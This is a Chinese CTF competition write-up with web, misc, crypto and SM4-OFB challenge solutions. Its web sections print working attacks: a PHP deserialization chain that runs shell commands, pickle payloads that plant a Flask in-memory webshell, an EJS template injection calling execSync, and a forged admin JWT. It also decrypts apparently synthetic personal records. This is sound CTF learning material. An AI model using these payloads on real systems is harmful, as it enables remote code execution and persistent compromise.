Web
web1 ez_unserialize
开胃小菜
<?php error_reporting (0 );highlight_file (__FILE__ );class A { public $first ; public $step ; public $next ; public function __construct ( ) { $this ->first = "继续加油!" ; } public function start ( ) { echo $this ->next; } } class E { private $you ; public $found ; private $secret = "admin123" ; public function __get ($name ) { if ($name === "secret" ) { echo "<br>" .$name ." maybe is here!</br>" ; $this ->found->check (); } } } class F { public $fifth ; public $step ; public $finalstep ; public function check ( ) { if (preg_match ("/U/" ,$this ->finalstep)) { echo "仔细想想!" ; } else { $this ->step = new $this ->finalstep (); ($this ->step)(); } } } class H { public $who ; public $are ; public $you ; public function __construct ( ) { $this ->you = "nobody" ; } public function __destruct ( ) { $this ->who->start (); } } class N { public $congratulation ; public $yougotit ; public function __call (string $func_name , array $args ) { return call_user_func ($func_name ,$args [0 ]); } } class U { public $almost ; public $there ; public $cmd ; public function __construct ( ) { $this ->there = new N (); $this ->cmd = $_POST ['cmd' ]; } public function __invoke ( ) { return $this ->there->system ($this ->cmd); } } class V { public $good ; public $keep ; public $dowhat ; public $go ; public function __toString ( ) { $abc = $this ->dowhat; $this ->go->$abc ; return "<br>Win!!!</br>" ; } } unserialize ($_POST ['payload' ]);?>
交给AI
梭一下反序列化 ,ChatGPT
有时还是挺给力的
目标代码里 unserialize($_POST['payload']);
可控对象反序列化。我们观察到几处可利用的魔术方法/链:
H::__destruct()
会调用 $this->who->start()
→ 如果 who
是 A
,A::start()
会 echo $this->next
(对 next
进行字符串化)
如果 next
是 V
对象,则 V::__toString()
被触发:它读取 $this->dowhat
到 $abc
,再执行 $this->go->$abc
如果 V->dowhat = "secret"
且 V->go
是 E
对象,那么对 E->secret
的访问会触发 E::__get()
,里面会调用 $this->found->check()
F::check()
会 new $this->finalstep()
(如果 finalstep
中包含大写 U
会被 preg_match("/U/")
检出并中断),然后对新对象做 ($this->step)();
(即调用对象的 __invoke
)
U::__invoke()
会调用 $this->there->system($this->cmd)
,而 there
是 N
,N::__call
会把 system
转成全局 system()
调用,从而执行任意 shell
命令($_POST['cmd']
被用作命令)
关键绕过点:F::check
用了 preg_match("/U/",$this->finalstep)
——只要把 finalstep
设为小写的 "u"
(类名大小写在 PHP
中不敏感),就能绕过该检查并成功 new 'u'()
以实例化类 U
因此构造链(简化理解):
H(where->who = A) -> A->next = V -> V->dowhat = "secret", V->go = E -> E->found = F -> F->finalstep = "u"
同时 POST
包含 cmd=cat /flag
。在脚本结束时 H::__destruct
触发,链路走通,最终调用 system('cat /flag')
<?php $url = 'http://45.40.247.139:20983/' ; $cmd = 'cat /flag' ;class A { public $first ; public $step ; public $next ; public function __construct ( ) { $this ->first = null ; } public function start ( ) { echo $this ->next; } } class E { private $you ; public $found ; private $secret = "admin123" ; public function __get ($name ) { if ($name === "secret" ) { echo "<br>" . $name . " maybe is here!</br>" ; $this ->found->check (); } } } class F { public $fifth ; public $step ; public $finalstep ; public function check ( ) { if (preg_match ("/U/" , $this ->finalstep)) { echo "仔细想想!" ; } else { $this ->step = new $this ->finalstep (); ($this ->step)(); } } } class H { public $who ; public $are ; public $you ; public function __construct ( ) { $this ->you = "nobody" ; } public function __destruct ( ) { $this ->who->start (); } } class N { public $congratulation ; public $yougotit ; public function __call (string $func_name , array $args ) { return call_user_func ($func_name , $args [0 ]); } } class U { public $almost ; public $there ; public $cmd ; public function __construct ( ) { $this ->there = new N (); $this ->cmd = $_POST ['cmd' ]; } public function __invoke ( ) { return $this ->there->system ($this ->cmd); } } class V { public $good ; public $keep ; public $dowhat ; public $go ; public function __toString ( ) { $abc = $this ->dowhat; $this ->go->$abc ; return "<br>Win!!!</br>" ; } } $f = new F ();$f ->finalstep = 'u' ; $e = new E ();$e ->found = $f ;$v = new V ();$v ->dowhat = 'secret' ; $v ->go = $e ;$a = new A ();$a ->next = $v ;$h = new H ();$h ->who = $a ;$payload = serialize ($h );$post = array ( 'payload' => $payload , 'cmd' => $cmd , ); $ch = curl_init ($url );curl_setopt ($ch , CURLOPT_RETURNTRANSFER, true );curl_setopt ($ch , CURLOPT_POST, true );curl_setopt ($ch , CURLOPT_POSTFIELDS, $post );$res = curl_exec ($ch );$err = curl_error ($ch );curl_close ($ch );if ($res === false ) { echo "cURL error: $err \n" ; } else { echo "=== Response from server ===\n" ; echo $res . "\n" ; }
web2 ezsignin*
一个没写完的文件系统
web3 ez_blog
你能发现博客系统中的漏洞吗?
提示我们:访客只能用访客账号登录哦!
弱口令:guest/guest
发现一个十六进制的Token
,解码发现有guest is_admin
的信息,想到要打pickle
反序列化
打Flask内存马
import pickleclass A (): def __reduce__ (self ): return (exec , ("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen(request.args.get('cmd')).read())" ,)) a = A() b = pickle.dumps(a) print (b.hex ())
还有一些其他的钩子函数
return (exec ,("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())\")==None else resp)" ,))return (exec ,("__import__('sys').modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda error: __import__('os').popen(__import__('flask').request.args.get('cmd')).read())" ,))return (exec ,("__import__('sys').modules['__main__'].__dict__['app'].teardown_appcontext_funcs.append(lambda error: __import__('os').popen(request.args.get('cmd')).read())" ,))return (exec ,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()" ,))
web4 auth_web*
为了系统安全,我在自己的开源项目代码中加入了认证方式
我丢,虽然有jar反编译工具
,但是懒啊……
web5 staticNodeService
http.server is a great tool. So I also created one using node.js
const express = require('express' ); const ejs = require('ejs' ); const fs = require('fs' ); const path = require('path' ); const app = express(); const PORT = parseInt(process.env.PORT) || 3000 ; app.set ('view engine' , 'ejs' ); app.use(express.json({ limit: '1mb' })); const STATIC_DIR = path.join(__dirname, '/' ); // serve index for better viewing function serveIndex(req, res) { var templ = req.query.templ || 'index' ; var lsPath = path.join(__dirname, req.path); try { res.render(templ, { filenames: fs.readdirSync(lsPath), path: req.path }); } catch (e) { console.log(e); res.status(500 ).send('Error rendering page' ); } } // static serve for simply view/download app.use(express.static(STATIC_DIR)); // Security middleware app.use((req, res, next ) => { if (typeof req.path !== 'string' || (typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined' ) ) res.status(500 ).send('Error parsing path' ); else if (/js$|\.\./i.test(req.path)) res.status(403 ).send('Denied filename' ); else next (); }) // logic middleware app.use((req, res, next ) => { if (req.path.endsWith('/' )) serveIndex(req, res); else next (); }) // Upload operation handler app.put('/*' , (req, res) => { const filePath = path.join(STATIC_DIR, req.path); if (fs.existsSync(filePath)) { return res.status(500 ).send('File already exists' ); } fs.writeFile(filePath, Buffer.from (req.body.content, 'base64' ), (err) => { if (err) { return res.status(500 ).send('Error writing file' ); } res.status(201 ).send('File created/updated' ); }); }); // Server start app.listen(PORT, () => { console.log(`Static server is running on http://localhost:${PORT}`); });
2024CISCN
决赛web-ezjs
修复版 ,甚至非预期(.ejs/.../
)都给修了,目前的难题在于,如何绕过js$
这个正则
可以通过express
的路径规范化 特性,让/readflag.ejs/.
,解析为/readflag.ejs
,实现文件上传
然后就是模板注入 ,这里/flag
给的是400 的权限,但是可以读/readflag
注意了,这里不要使用Python
的request
的put
方法,它会在这一步就帮你提前路径规范化 了
import socketimport base64def send_put_request (): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('127.0.0.1' , 3000 )) content = '<%= global.process.mainModule.require(\'child_process\').execSync(\'/readflag\').toString() %>' encoded_content = base64.b64encode(content.encode()).decode() body = f'{{"content":"{encoded_content} "}}' request = ( f"PUT /readflag.ejs/. HTTP/1.1\r\n" f"Host: localhost:3000\r\n" f"Content-Type: application/json\r\n" f"Content-Length: {len (body)} \r\n" f"Connection: close\r\n" f"\r\n" f"{body} " ) s.send(request.encode()) response = b"" while True : chunk = s.recv(1024 ) if not chunk: break response += chunk s.close() return response.decode() def send_get_request (): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('127.0.0.1' , 3000 )) request = ( "GET /?templ=../readflag.ejs HTTP/1.1\r\n" "Host: localhost:3000\r\n" "Connection: close\r\n" "\r\n" ) s.send(request.encode()) response = b"" while True : chunk = s.recv(1024 ) if not chunk: break response += chunk s.close() return response.decode() put_response = send_put_request() print ("PUT请求响应:" )print (put_response)print ("\n" + "=" *50 + "\n" )get_response = send_get_request() print ("GET请求响应:" )print (get_response)
web6 evil_login*
can u login?
hint: guest/guest1234
jwt伪造 ,python jwt_tool.py xxxx -C -d jwt_key.txt
用字典爆出来admin123
工具:
改auth_token
auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.-M2fBkjjUddPWmGOAcZ9tDfpZBnCWlfrvIkaOQifNYk; session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV19.aOp9iw.FpTLQhPK5QntjW-gd3PBsbM9Thk
admin
了然后呢?这session
好像也没什么用,没有下一步的指示了,web
也脑洞是吧……
Misc
别笑,你试你也过不了第二关
来试试闯关拿下flag吧!
请编写代码使字符串 hilogo 的内容为以下图案:
这里应该是Python沙箱 ,那我们用简单的运算 拼接一下
a='#' *5 ;d='# #' ;c=a+' ' ;p=c+' ' +a;l2="# # # # # # # # # # # # # # # # #" ;b=' ### # # ' ;q=' ' +d+' ' +a+' ' +a;l1=p+b+c*3 +a+b+a;l5=p+q+' ' +(c*3 +a)+q+' ' +a;l3=l2.replace(d,a);hilogo=f'{l1} \n{l2} \n{l3} \n{l2} \n{l5} '
请编写 code 以输出前0x114514 个数的序数词后缀(小于37 长度): def get_ordinal (n ): if 10 <= n % 100 <= 20 : suffix = 'th' else : suffix = ['st' , 'nd' , 'rd' , 'th' , 'th' , 'th' , 'th' , 'th' , 'th' , 'th' ][n % 10 - 1 ] return suffix test_passed = True user_function = eval (f"lambda n: {<span style='color: red;' >code</span>} " , {}, {}) for i in range (1 , 0x114514 ): if user_function(i) != get_ordinal(i): test_passed = False
第二关没打出来
好吧,赛后发现原来是code golf的例题
'tsnrhtdd'[n%5*(n%100^15>4>n%10)::4]
misc3 成功男人背后的女人
每个成功的男人背后都站着一个伟大的女人。
tweakpng
看了一下,一开始像IDAT隐写 ,但也发现了大量的mkBT块 ,搜索发现是Adobe专属 的数据块,下个firework
0 10001000100000101010011010000110 101010001000110011110110111011100110000011011010100010101001110 0 101111101100010011001010110100000110001011011100100010001011111 0 1001101010001010110111001111101
DASCTF{w0mEN_beh1nD_MEn}
Crypto
瑞德的一生
瑞德的一生坎坷,你能不能帮帮他
from Crypto.Util.number import *from gmpy2 import legendrefrom secret import flagm = bytes_to_long(flag) p, q = getPrime(256 ), getPrime(256 ) n = p * q x = getRandomRange(0 , n) while legendre(x, p) != -1 or legendre(x, q) != -1 : x = getRandomRange(0 , n) def encrypt (msg , n, x ): y = getRandomRange(0 , n) enc = [] while msg: bit = msg & 1 msg >>= 1 enc.append((pow (y, 2 ) * pow (x, bit)) % n) y += getRandomRange(1 , 2 **48 ) return enc with open ('output.txt' , 'w' ) as file: file.write(f"n = {n} \n" ) file.write(f"x = {x} \n" ) file.write(f"enc = {encrypt(m, n, x)} \n" )
github
搜索关键代码enc.append((pow(y, 2) * pow(x, bit)) % n)
就是原题
from Crypto.Util.number import *from tqdm import tqdmexec (open ('output.txt' ).read())def resultant (f1, f2, var ): return Matrix(f1.sylvester_matrix(f2, var)).determinant() pgcd = lambda g1, g2: g1.monic() if not g2 else pgcd(g2, g1%g2) P.<y, k> = PolynomialRing(Zmod(n)) p1 = x * y^2 - enc[0 ] p2 = (y + k)^2 - enc[1 ] p3 = resultant(p1, p2, y) k = min (p3.univariate_polynomial().monic().small_roots()) P.<y> = PolynomialRing(Zmod(n)) p1 = x * y^2 - enc[0 ] p2 = (y + k)^2 - enc[1 ] p4 = pgcd(p1, p2) y = n - p4.coefficients()[0 ] flag = 0 P.<k> = PolynomialRing(Zmod(n)) for c in tqdm(enc[::-1 ]): flag <<= 1 poly = x * (y+k)^2 - c if len (poly.monic().small_roots()): flag += 1 print (long_to_bytes(flag))
Ridiculous LFSR*
What? You call this LFSR?
from Crypto.Util.number import *from random import *from os import urandomfrom secret import flagflag = flag.strip(b"DASCTF{" ).strip(b"}" ) m = bytes_to_long(flag) LENGTH = m.bit_length() class LFSR (): def __init__ (self,length ): self.seed = urandom(32 ) self.length = length seed(self.seed) def next (self ): return getrandbits(self.length) def rotate (msg,l=1 ): temp = bin (msg)[2 :].zfill(LENGTH) return int (temp[l:] + temp[:l],2 ) lfsr = LFSR(LENGTH) c = [] l = [] for i in range (200 ): temp = lfsr.next () c.append(temp ^ m) l.append(bin (temp)[2 :].count("1" )) m = rotate(m) with open ("output.txt" ,"w" ) as f: f.write("LENGTH = " + str (LENGTH) + "\n" ) f.write("c = " + str (c) + "\n" ) f.write("l = " + str (l) + "\n" )
发现有AI
梭哈的wp
,ChatGPT-Pro
这么吊吗?哈人
DS&Ai
DS&Ai1 SM4-OFB
我得到了由某个密钥加密过的部分数据,其中,已知第一条记录的明文为:
蒋宏玲 17145949399 220000197309078766
你能帮我解密所有数据吗?将"何浩璐"的身份证号的md5值作为flag提交
ChatGPT
一把梭
SM4-OFB
是流式模式:对每个字段用相同的 IV/密钥
从 IV
产生的 keystream
与明文异或得到密文
利用已知明文(第一条记录的姓名/手机号/身份证),把对应的密文 XOR
明文 得到三个字段的 keystream
用得到的 keystream
分别 XOR
所有记录对应字段的密文,得到所有记录的明文
""" decrypt_sm4_ofb_known_plaintext.py 说明: 该脚本演示如何在 SM4-OFB(流模式)下,利用已知明文(known-plaintext)恢复 keystream 并解密表格中其它记录。 脚本假定每个密文字段以 hex 字符串形式存储,IV 以 hex 存储(同一 IV 或同一密钥下的不同记录可能相同)。 输出: - 在终端打印目标姓名对应的身份证号与 MD5 - 保存一个解密后的 CSV(如果指定 --out) 注意: - 该方法**并不需要**知道 SM4 密钥或直接执行 SM4 算法;因为 OFB 模式下密文 = 明文 XOR keystream(流),知道任意明文-密文对可恢复对应位置的 keystream,进而解密其它使用相同 keystream 的密文。 - 如果不同列或不同记录使用不同的 keystream(例如不同 IV 或不同密钥),则需要分别用对应的已知明文恢复每个 keystream。本脚本默认第一条记录(--known-row)为已知,并用该记录的姓名/手机号/身份证恢复 3 个 keystream,分别用于解密对应列的所有记录。 """ import argparseimport binasciiimport hashlibimport pandas as pdimport sysdef hex_to_bytes (s ): if s is None : return b'' s = str (s).strip() if s == '' : return b'' if s.startswith('0x' ) or s.startswith('0X' ): s = s[2 :] return binascii.unhexlify(s) def derive_keystream_from_pair (cipher_hex, plaintext, encoding='utf-8' ): c = hex_to_bytes(cipher_hex) p = plaintext.encode(encoding) if len (p) > len (c): raise ValueError("已知明文字节长度大于对应密文长度,无法直接派生密钥流" ) p_padded = p + b"\x00" * (len (c) - len (p)) ks = bytes (a ^ b for a, b in zip (c, p_padded)) return ks def decrypt_with_keystream (cipher_hex, ks, encoding='utf-8' ): c = hex_to_bytes(cipher_hex) n = min (len (c), len (ks)) pt_bytes = bytes (a ^ b for a, b in zip (c[:n], ks[:n])) try : s = pt_bytes.decode(encoding) except Exception: s = pt_bytes.decode(encoding, errors='ignore' ) s = s.rstrip('\x00' ).strip() return s def main (argv=None ): p = argparse.ArgumentParser() p.add_argument('--input' , '-i' , required=True , help ='输入 Excel/CSV 文件路径(支持 xlsx/xls/csv)' ) p.add_argument('--known-row' , type =int , default=0 , help ='已知明文所在行(0-based 索引),默认 0' ) p.add_argument('--known-name' , required=True , help ='已知行的姓名明文' ) p.add_argument('--known-phone' , required=True , help ='已知行的手机号明文' ) p.add_argument('--known-id' , required=True , help ='已知行的身份证号明文' ) p.add_argument('--name-col' , default='姓名' , help ='姓名列名,默认 "姓名"' ) p.add_argument('--phone-col' , default='手机号' , help ='手机号列名,默认 "手机号"' ) p.add_argument('--id-col' , default='身份证号' , help ='身份证列名,默认 "身份证号"' ) p.add_argument('--iv-col' , default='IV' , help ='IV 列名,若无也可不动,默认 "IV"' ) p.add_argument('--target-name' , default=None , help ='想要查询并输出 MD5 的目标姓名(例如 "何浩璐")' ) p.add_argument('--out' , default=None , help ='可选:解密后保存的 CSV 路径' ) args = p.parse_args(argv) if args.input .lower().endswith('.csv' ): df = pd.read_csv(args.input , dtype=str ) else : df = pd.read_excel(args.input , dtype=str ) df = df.fillna('' ) try : c_name = df.at[args.known_row, args.name_col] c_phone = df.at[args.known_row, args.phone_col] c_id = df.at[args.known_row, args.id_col] except Exception as e: print ('无法在表中找到指定列或行:' , e) sys.exit(2 ) ks_name = derive_keystream_from_pair(c_name, args.known_name) ks_phone = derive_keystream_from_pair(c_phone, args.known_phone) ks_id = derive_keystream_from_pair(c_id, args.known_id) dec_names = [] dec_phones = [] dec_ids = [] for _, row in df.iterrows(): dec_names.append(decrypt_with_keystream(row.get(args.name_col, '' ), ks_name)) dec_phones.append(decrypt_with_keystream(row.get(args.phone_col, '' ), ks_phone)) dec_ids.append(decrypt_with_keystream(row.get(args.id_col, '' ), ks_id)) df['_dec_name' ] = dec_names df['_dec_phone' ] = dec_phones df['_dec_id' ] = dec_ids if args.target_name: hits = df[df['_dec_name' ] == args.target_name] if len (hits) == 0 : print (f'未找到目标姓名: {args.target_name} ' ) else : for idx, r in hits.iterrows(): idval = r['_dec_id' ] md5 = hashlib.md5(idval.encode('utf-8' )).hexdigest() print ('---' ) print ('行索引:' , idx) print ('姓名:' , r['_dec_name' ]) print ('手机号:' , r['_dec_phone' ]) print ('身份证号:' , idval) print ('身份证 MD5:' , md5) if args.out: outdf = df.copy() outdf.to_csv(args.out, index=False , encoding='utf-8-sig' ) print ('已保存解密后的表到:' , args.out) if __name__ == '__main__' : main()
python3 exp.py \ --input 个人信息表.xlsx \ --known-row 0 \ --known-name "蒋宏玲" \ --known-phone 17145949399 \ --known-id 220000197309078766 \ --target-name "何浩璐" \ --out decrypted.csv
行索引: 859 姓名: 何浩璐 手机号: 14736125420 身份证号: 120000197404101676 身份证 MD5: fbb80148b75e98b18d65be446f505fcc
这个方向ChatGPT-Pro
也能梭很多题,可惜牟钱啊
else
没落的Sloth
,没什么人打比赛了,今年圈圈都不在校队打了,小凳没一个报名的,就这样吧……
后面等大佬的wp
出来,再学学web
的思路……